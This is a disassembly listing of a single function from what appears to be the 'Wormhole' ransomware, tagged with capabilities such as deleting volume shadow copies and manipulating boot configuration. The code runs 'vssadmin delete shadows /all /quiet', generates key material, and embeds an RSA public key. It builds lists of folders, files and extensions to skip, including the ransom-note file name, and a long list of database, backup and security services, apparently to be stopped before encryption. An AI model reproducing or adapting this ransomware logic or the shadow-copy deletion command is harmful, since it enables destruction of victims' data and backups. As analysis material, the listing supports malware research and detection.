Function at 0x44ecd0
Capabilities:
Contain obfuscated stackstrings
Delete volume shadow copies
Manipulate boot configuration
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5a984e
mov eax, dword fs:[0]
push eax
mov eax, 0x2a00
call fcn.00581be0
mov eax, dword [0x635f14]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.vssadmin_delete_shadows__all__quiet
call fcn.0058a8d5
mov edx, str.Deleted_all_shadow_copies.
mov ecx, 0x6380e0
call fcn.00456e00
push eax
call fcn.004570b0
lea eax, [ebp - 0x40]
push 0x20
push eax
call fcn.0045e4b0
add esp, 0x10
cmp eax, 1
jne 0x44ed46
lea eax, [ebp - 0x20]
push 0x10
push eax
call fcn.0045e4b0
add esp, 8
cmp eax, 1
je 0x44ed68
mov edx, str.Error_generating_random_bytes.
mov ecx, 0x6381f8
call fcn.00456e00
push eax
call fcn.004570b0
add esp, 4
mov eax, 1
jmp 0x451971
push 0x20
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x204]
call fcn.0044c5c0
push 0x10
lea edx, [ebp - 0x20]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x1ec]
call fcn.0044c5c0
add esp, 8
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x18c]
push 3
push 0x62d23c
mov dword [ebp - 0x178], 0xf
mov dword [ebp - 0x17c], 0
mov byte [ebp - 0x18c], 0
call fcn.00451e20
lea eax, [ebp - 0x18c]
mov byte [ebp - 4], 2
push eax
lea eax, [ebp - 0x1ec]
push eax
lea edx, [ebp - 0x204]
lea ecx, [ebp - 0x234]
call fcn.0044ebd0
add esp, 8
lea ecx, [ebp - 0x18c]
mov byte [ebp - 4], 4
call fcn.00452050
push 0x1c3
push str._____BEGIN_PUBLIC_KEY______nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqnJhs7S6xtA0E_xUcaO_nDcK_R8LZoLKhsQYG9b_uibVk_4cfEFtGwdTnM3AZbDWKqEJLL_xt7J2AQzG3beS_n7vmRv0NyDDvrArf7QPl5i_A9Gyl5Tr82GshZwLDlLETCI8KgNSFvW6VgUDnKnCR_nxjqdYxa4Y80ud2q5FmlJAKMmBYyQVVAaxgbR72LqTASf1E4FohGOa3_DLAQbQqI_n7wOsudYKMKPmImZ7AxXe86mxRI3fjmUWRAddbkl_GILWu5KidArG0a9EENVADh2g_nB0g3iGSzz9B_erqAKG7Sd7s6i0TlVnUmjFSs9lObKCCghrOBgLoWjMiYH2SSt4i_nXQIDAQAB_n_____END_PUBLIC_KEY______n
lea ecx, [ebp - 0x1d4]
mov dword [ebp - 0x1c0], 0xf
mov dword [ebp - 0x1c4], 0
mov byte [ebp - 0x1d4], 0
call fcn.00451e20
mov dword [ebp - 0x190], 0xf
mov dword [ebp - 0x194], 0
mov byte [ebp - 0x1a4], 0
lea eax, [ebp - 0x1a4]
mov byte [ebp - 4], 6
push eax
lea edx, [ebp - 0x234]
lea ecx, [ebp - 0x1d4]
call fcn.0044e6c0
add esp, 4
mov dword [ebp - 0x148], 0
xorps xmm0, xmm0
mov dword [ebp - 0x5e0], 0xf
lea ecx, [ebp - 0x5f4]
movq qword [ebp - 0x150], xmm0
mov dword [ebp - 0x5e4], 0
push 8
push str.msocache
mov byte [ebp - 0x5f4], 0
call fcn.00451e20
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x5dc]
push 0xc
push str._windows.ws
mov dword [ebp - 0x5c8], 0xf
mov dword [ebp - 0x5cc], 0
mov byte [ebp - 0x5dc], 0
call fcn.00451e20
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x5c4]
push 0x19
mov dword [ebp - 0x5b0], 0xf
mov dword [ebp - 0x5b4], 0
mov byte [ebp - 0x5c4], 0
push str.system_volume_information
call fcn.00451e20
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x5ac]
push 5
push str.intel
mov dword [ebp - 0x598], 0xf
mov dword [ebp - 0x59c], 0
mov byte [ebp - 0x5ac], 0
call fcn.00451e20
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x594]
push 7
push str.appdata
mov dword [ebp - 0x580], 0xf
mov dword [ebp - 0x584], 0
mov byte [ebp - 0x594], 0
call fcn.00451e20
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x57c]
push 8
push str.perflogs
mov dword [ebp - 0x568], 0xf
mov dword [ebp - 0x56c], 0
mov byte [ebp - 0x57c], 0
call fcn.00451e20
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x564]
push 0xb
push str.programdata
mov dword [ebp - 0x550], 0xf
mov dword [ebp - 0x554], 0
mov byte [ebp - 0x564], 0
call fcn.00451e20
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x54c]
push 6
push str.google
mov dword [ebp - 0x538], 0xf
mov dword [ebp - 0x53c], 0
mov byte [ebp - 0x54c], 0
call fcn.00451e20
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x534]
push 0x10
push str.application_data
mov dword [ebp - 0x520], 0xf
mov dword [ebp - 0x524], 0
mov byte [ebp - 0x534], 0
call fcn.00451e20
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x51c]
push 0xb
push str.tor_browser
mov dword [ebp - 0x508], 0xf
mov dword [ebp - 0x50c], 0
mov byte [ebp - 0x51c], 0
call fcn.00451e20
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x504]
push 4
push 0x62d48c
mov dword [ebp - 0x4f0], 0xf
mov dword [ebp - 0x4f4], 0
mov byte [ebp - 0x504], 0
call fcn.00451e20
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x4ec]
push 0xc
mov dword [ebp - 0x4d8], 0xf
mov dword [ebp - 0x4dc], 0
mov byte [ebp - 0x4ec], 0
push str._windows.bt
call fcn.00451e20
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x4d4]
push 7
push str.mozilla
mov dword [ebp - 0x4c0], 0xf
mov dword [ebp - 0x4c4], 0
mov byte [ebp - 0x4d4], 0
call fcn.00451e20
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x4bc]
push 4
push str.boot
mov dword [ebp - 0x4a8], 0xf
mov dword [ebp - 0x4ac], 0
mov byte [ebp - 0x4bc], 0
call fcn.00451e20
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x4a4]
push 0xb
push str.windows.old
mov dword [ebp - 0x490], 0xf
mov dword [ebp - 0x494], 0
mov byte [ebp - 0x4a4], 0
call fcn.00451e20
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x48c]
push 0x15
push str.Windows_Microsoft.NET
mov dword [ebp - 0x478], 0xf
mov dword [ebp - 0x47c], 0
mov byte [ebp - 0x48c], 0
call fcn.00451e20
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x474]
push 0x11
push str.WindowsPowerShell
mov dword [ebp - 0x460], 0xf
mov dword [ebp - 0x464], 0
mov byte [ebp - 0x474], 0
call fcn.00451e20
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x45c]
push 0xa
push str.Windows_NT
mov dword [ebp - 0x448], 0xf
mov dword [ebp - 0x44c], 0
mov byte [ebp - 0x45c], 0
call fcn.00451e20
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x444]
push 7
push str.Windows
mov dword [ebp - 0x430], 0xf
mov dword [ebp - 0x434], 0
mov byte [ebp - 0x444], 0
call fcn.00451e20
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x42c]
push 0xc
push str.Common_Files
mov dword [ebp - 0x418], 0xf
mov dword [ebp - 0x41c], 0
mov byte [ebp - 0x42c], 0
call fcn.00451e20
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x414]
push 0x19
mov dword [ebp - 0x400], 0xf
mov dword [ebp - 0x404], 0
mov byte [ebp - 0x414], 0
push 0x62d510
call fcn.00451e20
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x3fc]
push 0x11
push str.Internet_Explorer
mov dword [ebp - 0x3e8], 0xf
mov dword [ebp - 0x3ec], 0
mov byte [ebp - 0x3fc], 0
call fcn.00451e20
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x3e4]
push 9
push str.Reference
mov dword [ebp - 0x3d0], 0xf
mov dword [ebp - 0x3d4], 0
mov byte [ebp - 0x3e4], 0
call fcn.00451e20
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x3cc]
push 0xa
push str.Assemblies
mov dword [ebp - 0x3b8], 0xf
mov dword [ebp - 0x3bc], 0
mov byte [ebp - 0x3cc], 0
call fcn.00451e20
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x3b4]
push 0x10
push str.Windows_Defender
mov dword [ebp - 0x3a0], 0xf
mov dword [ebp - 0x3a4], 0
mov byte [ebp - 0x3b4], 0
call fcn.00451e20
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x39c]
push 0x11
push str.Microsoft_ASP.NET
mov dword [ebp - 0x388], 0xf
mov dword [ebp - 0x38c], 0
mov byte [ebp - 0x39c], 0
call fcn.00451e20
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x384]
push 0xc
push str.Core_Runtime
mov dword [ebp - 0x370], 0xf
mov dword [ebp - 0x374], 0
mov byte [ebp - 0x384], 0
call fcn.00451e20
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x36c]
push 7
push str.Package
mov dword [ebp - 0x358], 0xf
mov dword [ebp - 0x35c], 0
mov byte [ebp - 0x36c], 0
call fcn.00451e20
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x354]
push 5
push str.Store
mov dword [ebp - 0x340], 0xf
mov dword [ebp - 0x344], 0
mov byte [ebp - 0x354], 0
call fcn.00451e20
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x33c]
push 0x15
mov dword [ebp - 0x328], 0xf
mov dword [ebp - 0x32c], 0
mov byte [ebp - 0x33c], 0
push str.Microsoft_Help_Viewer
call fcn.00451e20
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x324]
push str.Microsoft_MPI
mov dword [ebp - 0x310], 0xf
mov dword [ebp - 0x314], 0
mov byte [ebp - 0x324], 0
call fcn.00454d90
push str.Windows_Kits
lea ecx, [ebp - 0x30c]
mov byte [ebp - 4], 0x25
call fcn.004521f0
push str.Microsoft.NET
lea ecx, [ebp - 0x2f4]
mov byte [ebp - 4], 0x26
call fcn.004521f0
push str.Windows_Mail
lea ecx, [ebp - 0x2dc]
mov byte [ebp - 4], 0x27
call fcn.004521f0
push str.Microsoft_Security_Client
lea ecx, [ebp - 0x2c4]
mov byte [ebp - 4], 0x28
call fcn.004521f0
push str.Package_Store
lea ecx, [ebp - 0x2ac]
mov byte [ebp - 4], 0x29
call fcn.004521f0
push str.Microsoft_Analysis_Services
lea ecx, [ebp - 0x294]
mov byte [ebp - 4], 0x2a
call fcn.004521f0
push str.Windows_Portable_Devices
lea ecx, [ebp - 0x27c]
mov byte [ebp - 4], 0x2b
call fcn.004521f0
push str.Windows_Photo_Viewer
lea ecx, [ebp - 0x264]
mov byte [ebp - 4], 0x2c
call fcn.004521f0
push str.Windows_Sidebar
lea ecx, [ebp - 0x24c]
mov byte [ebp - 4], 0x2d
call fcn.004521f0
lea ecx, [ebp - 0x5f4]
mov byte [ebp - 4], 0x2e
push ecx
lea eax, [ebp - 0x234]
push eax
push ecx
lea ecx, [ebp - 0x150]
call fcn.00451ba0
push fcn.00452050
push 0x28
push 0x18
lea eax, [ebp - 0x5f4]
mov byte [ebp - 4], 0x30
push eax
call fcn.005815fa
push ecx
lea ecx, [ebp - 0x174]
call fcn.0044e5f0
push str.desktop.ini
lea ecx, [ebp - 0x75c]
call fcn.004521f0
mov byte [ebp - 4], 0x31
push str.ntuser.dat
lea ecx, [ebp - 0x744]
call fcn.004521f0
push str.thumbs.db
lea ecx, [ebp - 0x72c]
mov byte [ebp - 4], 0x32
call fcn.004521f0
push str.iconcache.db
lea ecx, [ebp - 0x714]
mov byte [ebp - 4], 0x33
call fcn.004521f0
push str.ntuser.ini
lea ecx, [ebp - 0x6fc]
mov byte [ebp - 4], 0x34
call fcn.004521f0
push str.ntldr
lea ecx, [ebp - 0x6e4]
mov byte [ebp - 4], 0x35
call fcn.004521f0
push str.bootfont.bin
lea ecx, [ebp - 0x6cc]
mov byte [ebp - 4], 0x36
call fcn.004521f0
push str.ntuser.dat.log
lea ecx, [ebp - 0x6b4]
mov byte [ebp - 4], 0x37
call fcn.004521f0
push str.bootsect.bak
lea ecx, [ebp - 0x69c]
mov byte [ebp - 4], 0x38
call fcn.004521f0
push str.boot.ini
lea ecx, [ebp - 0x684]
mov byte [ebp - 4], 0x39
call fcn.004521f0
push str.autorun.inf
lea ecx, [ebp - 0x66c]
mov byte [ebp - 4], 0x3a
call fcn.004521f0
push str.debugLog.txt
lea ecx, [ebp - 0x654]
mov byte [ebp - 4], 0x3b
call fcn.004521f0
push str.How_to_recover_files_encrypted_by_Wormhole.txt
lea ecx, [ebp - 0x63c]
mov byte [ebp - 4], 0x3c
call fcn.004521f0
lea ecx, [ebp - 0x75c]
mov byte [ebp - 4], 0x3d
push ecx
lea eax, [ebp - 0x624]
push eax
push ecx
lea ecx, [ebp - 0x174]
call fcn.00451ba0
push fcn.00452050
push 0xd
push 0x18
lea eax, [ebp - 0x75c]
mov byte [ebp - 4], 0x3f
push eax
call fcn.005815fa
push ecx
lea ecx, [ebp - 0x168]
call fcn.0044e5f0
push str.msstyles
lea ecx, [ebp - 0x60c]
call fcn.004521f0
push 0x62d760
lea ecx, [ebp - 0x5f4]
mov byte [ebp - 4], 0x40
call fcn.004521f0
push 0x62d764
lea ecx, [ebp - 0x5dc]
mov byte [ebp - 4], 0x41
call fcn.004521f0
push 0x62d768
lea ecx, [ebp - 0x5c4]
mov byte [ebp - 4], 0x42
call fcn.004521f0
push str.nomedia
lea ecx, [ebp - 0x5ac]
mov byte [ebp - 4], 0x43
call fcn.004521f0
push 0x62d774
lea ecx, [ebp - 0x594]
mov byte [ebp - 4], 0x44
call fcn.004521f0
push 0x62d778
lea ecx, [ebp - 0x57c]
mov byte [ebp - 4], 0x45
call fcn.004521f0
push 0x62d77c
lea ecx, [ebp - 0x564]
mov byte [ebp - 4], 0x46
call fcn.004521f0
push str.lock
lea ecx, [ebp - 0x54c]
mov byte [ebp - 4], 0x47
call fcn.004521f0
push 0x62d788
lea ecx, [ebp - 0x534]
mov byte [ebp - 4], 0x48
call fcn.004521f0
push 0x62d78c
lea ecx, [ebp - 0x51c]
mov byte [ebp - 4], 0x49
call fcn.004521f0
push 0x62d790
lea ecx, [ebp - 0x504]
mov byte [ebp - 4], 0x4a
call fcn.004521f0
push 0x62d794
lea ecx, [ebp - 0x4ec]
mov byte [ebp - 4], 0x4b
call fcn.004521f0
push 0x62d798
lea ecx, [ebp - 0x4d4]
mov byte [ebp - 4], 0x4c
call fcn.004521f0
push 0x62d79c
lea ecx, [ebp - 0x4bc]
mov byte [ebp - 4], 0x4d
call fcn.004521f0
push 0x62d7a0
lea ecx, [ebp - 0x4a4]
mov byte [ebp - 4], 0x4e
call fcn.004521f0
push 0x62d7a4
lea ecx, [ebp - 0x48c]
mov byte [ebp - 4], 0x4f
call fcn.004521f0
push 0x62d7a8
lea ecx, [ebp - 0x474]
mov byte [ebp - 4], 0x50
call fcn.004521f0
push 0x62d7ac
lea ecx, [ebp - 0x45c]
mov byte [ebp - 4], 0x51
call fcn.004521f0
push 0x62d7b0
lea ecx, [ebp - 0x444]
mov byte [ebp - 4], 0x52
call fcn.004521f0
push 0x62d7b4
lea ecx, [ebp - 0x42c]
mov byte [ebp - 4], 0x53
call fcn.004521f0
push str.theme
lea ecx, [ebp - 0x414]
mov byte [ebp - 4], 0x54
call fcn.004521f0
push 0x62d7c0
lea ecx, [ebp - 0x3fc]
mov byte [ebp - 4], 0x55
call fcn.004521f0
push 0x62d7c4
lea ecx, [ebp - 0x3e4]
mov byte [ebp - 4], 0x56
call fcn.004521f0
push 0x62d7c8
lea ecx, [ebp - 0x3cc]
mov byte [ebp - 4], 0x57
call fcn.004521f0
push str.diagcfg
lea ecx, [ebp - 0x3b4]
mov byte [ebp - 4], 0x58
call fcn.004521f0
push 0x62d7d4
lea ecx, [ebp - 0x39c]
mov byte [ebp - 4], 0x59
call fcn.004521f0
push 0x62d7d8
lea ecx, [ebp - 0x384]
mov byte [ebp - 4], 0x5a
call fcn.004521f0
push 0x62d7dc
lea ecx, [ebp - 0x36c]
mov byte [ebp - 4], 0x5b
call fcn.004521f0
push 0x62d7e0
lea ecx, [ebp - 0x354]
mov byte [ebp - 4], 0x5c
call fcn.004521f0
push 0x62d7e4
lea ecx, [ebp - 0x33c]
mov byte [ebp - 4], 0x5d
call fcn.004521f0
push str.icns
lea ecx, [ebp - 0x324]
mov byte [ebp - 4], 0x5e
call fcn.004521f0
push str.diagpkg
lea ecx, [ebp - 0x30c]
mov byte [ebp - 4], 0x5f
call fcn.004521f0
mov byte [ebp - 4], 0x60
push str.deskthemepack
lea ecx, [ebp - 0x2f4]
call fcn.004521f0
push 0x62d808
lea ecx, [ebp - 0x2dc]
mov byte [ebp - 4], 0x61
call fcn.004521f0
push 0x62d80c
lea ecx, [ebp - 0x2c4]
mov byte [ebp - 4], 0x62
call fcn.004521f0
push str.themepack
lea ecx, [ebp - 0x2ac]
mov byte [ebp - 4], 0x63
call fcn.004521f0
push 0x62d81c
lea ecx, [ebp - 0x294]
mov byte [ebp - 4], 0x64
call fcn.004521f0
push 0x62d820
lea ecx, [ebp - 0x27c]
mov byte [ebp - 4], 0x65
call fcn.004521f0
push 0x62d824
lea ecx, [ebp - 0x264]
mov byte [ebp - 4], 0x66
call fcn.004521f0
push str.Wormhole
lea ecx, [ebp - 0x24c]
mov byte [ebp - 4], 0x67
call fcn.004521f0
lea ecx, [ebp - 0x60c]
mov byte [ebp - 4], 0x68
push ecx
lea eax, [ebp - 0x234]
push eax
push ecx
lea ecx, [ebp - 0x168]
call fcn.00451ba0
push fcn.00452050
push 0x29
push 0x18
lea eax, [ebp - 0x60c]
mov byte [ebp - 4], 0x6a
push eax
call fcn.005815fa
lea eax, [ebp - 0x1a4]
push eax
lea eax, [ebp - 0x1ec]
push eax
lea eax, [ebp - 0x204]
push eax
lea eax, [ebp - 0x168]
push eax
lea edx, [ebp - 0x174]
lea ecx, [ebp - 0x150]
call fcn.0044dc60
add esp, 0xc
lea ecx, [ebp - 0x15c]
call fcn.0044e5f0
push str.AIOServerWL
lea ecx, [ebp - 0x2a0c]
call fcn.004521f0
push str.AIOServerSL
lea ecx, [ebp - 0x29f4]
mov byte [ebp - 4], 0x6b
call fcn.004521f0
mov byte [ebp - 4], 0x6c
push str.AIOServerGLM
lea ecx, [ebp - 0x29dc]
call fcn.004521f0
push str.OneSyncSvc_28ec26
lea ecx, [ebp - 0x29c4]
mov byte [ebp - 4], 0x6d
call fcn.004521f0
push str.SunloginService
lea ecx, [ebp - 0x29ac]
mov byte [ebp - 4], 0x6e
call fcn.004521f0
push str.AliyunService
lea ecx, [ebp - 0x2994]
mov byte [ebp - 4], 0x6f
call fcn.004521f0
push str.Alibaba_Security_Aegis_Update_Service
lea ecx, [ebp - 0x297c]
mov byte [ebp - 4], 0x70
call fcn.004521f0
push str.AIOXCW
lea ecx, [ebp - 0x2964]
mov byte [ebp - 4], 0x71
call fcn.004521f0
push str.SecurityHealthService
lea ecx, [ebp - 0x294c]
mov byte [ebp - 4], 0x72
call fcn.004521f0
push str.ReportServer_AIO
lea ecx, [ebp - 0x2934]
mov byte [ebp - 4], 0x73
call fcn.004521f0
push str.MSSQLFDLauncher_AIO
lea ecx, [ebp - 0x291c]
mov byte [ebp - 4], 0x74
call fcn.004521f0
push str.MSOLAP_AIO
lea ecx, [ebp - 0x2904]
mov byte [ebp - 4], 0x75
call fcn.004521f0
push 0x62d90c
lea ecx, [ebp - 0x28ec]
mov byte [ebp - 4], 0x76
call fcn.004521f0
push str.GNCloudBackupService
lea ecx, [ebp - 0x28d4]
mov byte [ebp - 4], 0x77
call fcn.004521f0
push str.aioServer2
lea ecx, [ebp - 0x28bc]
mov byte [ebp - 4], 0x78
call fcn.004521f0
push str.aioServer3
lea ecx, [ebp - 0x28a4]
mov byte [ebp - 4], 0x79
call fcn.004521f0
push str.YDLive
lea ecx, [ebp - 0x288c]
mov byte [ebp - 4], 0x7a
call fcn.004521f0
push str.YDService
lea ecx, [ebp - 0x2874]
mov byte [ebp - 4], 0x7b
call fcn.004521f0
mov byte [ebp - 4], 0x7c
lea ecx, [ebp - 0x285c]
push str.ZhuDongFangYu
call fcn.004521f0
push str.QQPCRTP
lea ecx, [ebp - 0x2844]
mov byte [ebp - 4], 0x7d
call fcn.004521f0
push str.KoronDBSV
lea ecx, [ebp - 0x282c]
mov byte [ebp - 4], 0x7e
call fcn.004521f0
push str.aioServer6
lea ecx, [ebp - 0x2814]
mov byte [ebp - 4], 0x7f
call fcn.004521f0
push str.AIOServer2023
lea ecx, [ebp - 0x27fc]
mov byte [ebp - 4], 0x80
call fcn.004521f0
push str.AIOCS
lea ecx, [ebp - 0x27e4]
mov byte [ebp - 4], 0x81
call fcn.004521f0
push str.SQLBrowser
lea ecx, [ebp - 0x27cc]
mov byte [ebp - 4], 0x82
call fcn.004521f0
push str.SQLWriter
lea ecx, [ebp - 0x27b4]
mov byte [ebp - 4], 0x83
call fcn.004521f0
push str.MSSQL_AIO
lea ecx, [ebp - 0x279c]
mov byte [ebp - 4], 0x84
call fcn.004521f0
push str.AIOServer
lea ecx, [ebp - 0x2784]
mov byte [ebp - 4], 0x85
call fcn.004521f0
push str.eoffice
lea ecx, [ebp - 0x276c]
mov byte [ebp - 4], 0x86
call fcn.004521f0
push str.MySQL
lea ecx, [ebp - 0x2754]
mov byte [ebp - 4], 0x87
call fcn.004521f0
push str.AGSService
lea ecx, [ebp - 0x273c]
mov byte [ebp - 4], 0x88
call fcn.004521f0
push str.DDNSService
lea ecx, [ebp - 0x2724]
mov byte [ebp - 4], 0x89
call fcn.004521f0
push 0x62da00
lea ecx, [ebp - 0x270c]
mov byte [ebp - 4], 0x8a
call fcn.004521f0
push str.CASMsgSrv
lea ecx, [ebp - 0x26f4]
mov byte [ebp - 4], 0x8b
call fcn.004521f0
push str.RapService
lea ecx, [ebp - 0x26dc]
mov byte [ebp - 4], 0x8c
call fcn.004521f0
push str.CASVirtualDiskService
lea ecx, [ebp - 0x26c4]
mov byte [ebp - 4], 0x8d
call fcn.004521f0
push str.CASWebServer
lea ecx, [ebp - 0x26ac]
mov byte [ebp - 4], 0x8e
call fcn.004521f0
push str.CASXMLService
lea ecx, [ebp - 0x2694]
mov byte [ebp - 4], 0x8f
call fcn.004521f0
push str.SiebelApplicationContainer_Siebel_Home_
lea ecx, [ebp - 0x267c]
mov byte [ebp - 4], 0x90
call fcn.004521f0
push str.ReportServer_SQLEXPRESS
lea ecx, [ebp - 0x2664]
mov byte [ebp - 4], 0x91
call fcn.004521f0
push str.SQL_Server_Reporting_Services
lea ecx, [ebp - 0x264c]
mov byte [ebp - 4], 0x92
call fcn.004521f0
push str.SQL_Server__MSSQLSERVER_
lea ecx, [ebp - 0x2634]
mov byte [ebp - 4], 0x93
call fcn.004521f0
push str.MSSQLFDLauncher
lea ecx, [ebp - 0x261c]
mov byte [ebp - 4], 0x94
call fcn.004521f0
push str.SQLSERVERAGENT
lea ecx, [ebp - 0x2604]
mov byte [ebp - 4], 0x95
call fcn.004521f0
push str.SQLTELEMETRY
lea ecx, [ebp - 0x25ec]
mov byte [ebp - 4], 0x96
call fcn.004521f0
push str.MsDtsServer130
lea ecx, [ebp - 0x25d4]
mov byte [ebp - 4], 0x97
call fcn.004521f0
push str.SSISTasdRY130
lea ecx, [ebp - 0x25bc]
mov byte [ebp - 4], 0x98
call fcn.004521f0
push str.MSSQL_WOLTERSKLUWER
lea ecx, [ebp - 0x25a4]
mov byte [ebp - 4], 0x99
call fcn.004521f0
push str.SQLAgent_PROGID
lea ecx, [ebp - 0x258c]
mov byte [ebp - 4], 0x9a
call fcn.004521f0
push str.MSSQL_VEEAMSQL2012
lea ecx, [ebp - 0x2574]
mov byte [ebp - 4], 0x9b
call fcn.004521f0
push str.SQLAgent_VEEAMSQL2012
lea ecx, [ebp - 0x255c]
mov byte [ebp - 4], 0x9c
call fcn.004521f0
push str.MSSQL
lea ecx, [ebp - 0x2544]
mov byte [ebp - 4], 0x9d
call fcn.004521f0
push str.SQLAgent
lea ecx, [ebp - 0x252c]
mov byte [ebp - 4], 0x9e
call fcn.004521f0
push str.MSSQLServerADHelper100
lea ecx, [ebp - 0x2514]
mov byte [ebp - 4], 0x9f
call fcn.004521f0
push str.MSSQLServerOLAPService
lea ecx, [ebp - 0x24fc]
mov byte [ebp - 4], 0xa0
call fcn.004521f0
push str.MsDtsServer100
lea ecx, [ebp - 0x24e4]
mov byte [ebp - 4], 0xa1
call fcn.004521f0
push str.ReportServer
lea ecx, [ebp - 0x24cc]
mov byte [ebp - 4], 0xa2
call fcn.004521f0
push str.SQLTELEMETRY_HL
lea ecx, [ebp - 0x24b4]
mov byte [ebp - 4], 0xa3
call fcn.004521f0
push str.TMBMServer
lea ecx, [ebp - 0x249c]
mov byte [ebp - 4], 0xa4
call fcn.004521f0
push str.MSSQL_PROGID
lea ecx, [ebp - 0x2484]
mov byte [ebp - 4], 0xa5
call fcn.004521f0
push str.XT800Service_Personal
lea ecx, [ebp - 0x246c]
mov byte [ebp - 4], 0xa6
call fcn.004521f0
push str.AHS_SERVICE
lea ecx, [ebp - 0x2454]
mov byte [ebp - 4], 0xa7
call fcn.004521f0
push str.Sense_Shield_Service
lea ecx, [ebp - 0x243c]
mov byte [ebp - 4], 0xa8
call fcn.004521f0
push str.FontCache3.0.0.0
lea ecx, [ebp - 0x2424]
mov byte [ebp - 4], 0xa9
call fcn.004521f0
push str.OSP_Service
lea ecx, [ebp - 0x240c]
mov byte [ebp - 4], 0xaa
call fcn.004521f0
push str.DAService_TCP
lea ecx, [ebp - 0x23f4]
mov byte [ebp - 4], 0xab
call fcn.004521f0
push str.eCard_TTransServer
lea ecx, [ebp - 0x23dc]
mov byte [ebp - 4], 0xac
call fcn.004521f0
mov byte [ebp - 4], 0xad
push str.wanxiao_monitor
lea ecx, [ebp - 0x23c4]
call fcn.004521f0
push str.vm_agent
lea ecx, [ebp - 0x23ac]
mov byte [ebp - 4], 0xae
call fcn.004521f0
push str.SyncBASE_Service
lea ecx, [ebp - 0x2394]
mov byte [ebp - 4], 0xaf
call fcn.004521f0
push str.Flash_Helper_Service
lea ecx, [ebp - 0x237c]
mov byte [ebp - 4], 0xb0
call fcn.004521f0
push str.Kiwi_Syslog_Server
lea ecx, [ebp - 0x2364]
mov byte [ebp - 4], 0xb1
call fcn.004521f0
push str.UWS_HiPriv_Services
lea ecx, [ebp - 0x234c]
mov byte [ebp - 4], 0xb2
call fcn.004521f0
push str.UWS_LoPriv_Services
lea ecx, [ebp - 0x2334]
mov byte [ebp - 4], 0xb3
call fcn.004521f0
push str.UtilDev_Web_Server_Pro
lea ecx, [ebp - 0x231c]
mov byte [ebp - 4], 0xb4
call fcn.004521f0
push str.ZTE_USBIP_Client_Guard
lea ecx, [ebp - 0x2304]
mov byte [ebp - 4], 0xb5
call fcn.004521f0
push str.ZTE_USBIP_Client
lea ecx, [ebp - 0x22ec]
mov byte [ebp - 4], 0xb6
call fcn.004521f0
push str.ZTE_FileTranS
lea ecx, [ebp - 0x22d4]
mov byte [ebp - 4], 0xb7
call fcn.004521f0
push str.Zabbix_Agent
lea ecx, [ebp - 0x22bc]
mov byte [ebp - 4], 0xb8
call fcn.004521f0
push str.EasyFZS_Server
lea ecx, [ebp - 0x22a4]
mov byte [ebp - 4], 0xb9
call fcn.004521f0
push str.Rpc_Monitor
lea ecx, [ebp - 0x228c]
mov byte [ebp - 4], 0xba
call fcn.004521f0
push str.Nuo_Update_Monitor
lea ecx, [ebp - 0x2274]
mov byte [ebp - 4], 0xbb
call fcn.004521f0
push str.Daemon_Service
lea ecx, [ebp - 0x225c]
mov byte [ebp - 4], 0xbc
call fcn.004521f0
mov byte [ebp - 4], 0xbd
push str.FlexNet_Licensing_Service_64
lea ecx, [ebp - 0x2244]
call fcn.004521f0
push str.U8WorkerService2
lea ecx, [ebp - 0x222c]
mov byte [ebp - 4], 0xbe
call fcn.004521f0
push str.U8MPool
lea ecx, [ebp - 0x2214]
mov byte [ebp - 4], 0xbf
call fcn.004521f0
push str.U8WebPool
lea ecx, [ebp - 0x21fc]
mov byte [ebp - 4], 0xc0
call fcn.004521f0
push str.U8WorkerService1
lea ecx, [ebp - 0x21e4]
mov byte [ebp - 4], 0xc1
call fcn.004521f0
push str.TongBackupSrv
lea ecx, [ebp - 0x21cc]
mov byte [ebp - 4], 0xc2
call fcn.004521f0
push str.cbVSCService11
lea ecx, [ebp - 0x21b4]
mov byte [ebp - 4], 0xc3
call fcn.004521f0
push str.CobianBackup11
lea ecx, [ebp - 0x219c]
mov byte [ebp - 4], 0xc4
call fcn.004521f0
push str.MSSQLSERVER
lea ecx, [ebp - 0x2184]
mov byte [ebp - 4], 0xc5
call fcn.004521f0
push str.MSSQL_
lea ecx, [ebp - 0x216c]
mov byte [ebp - 4], 0xc6
call fcn.004521f0
push 0x62de58
lea ecx, [ebp - 0x2154]
mov byte [ebp - 4], 0xc7
call fcn.004521f0
push str.vmvss
lea ecx, [ebp - 0x213c]
mov byte [ebp - 4], 0xc8
call fcn.004521f0
push str.MSSQL_FE_EXPRESS
lea ecx, [ebp - 0x2124]
mov byte [ebp - 4], 0xc9
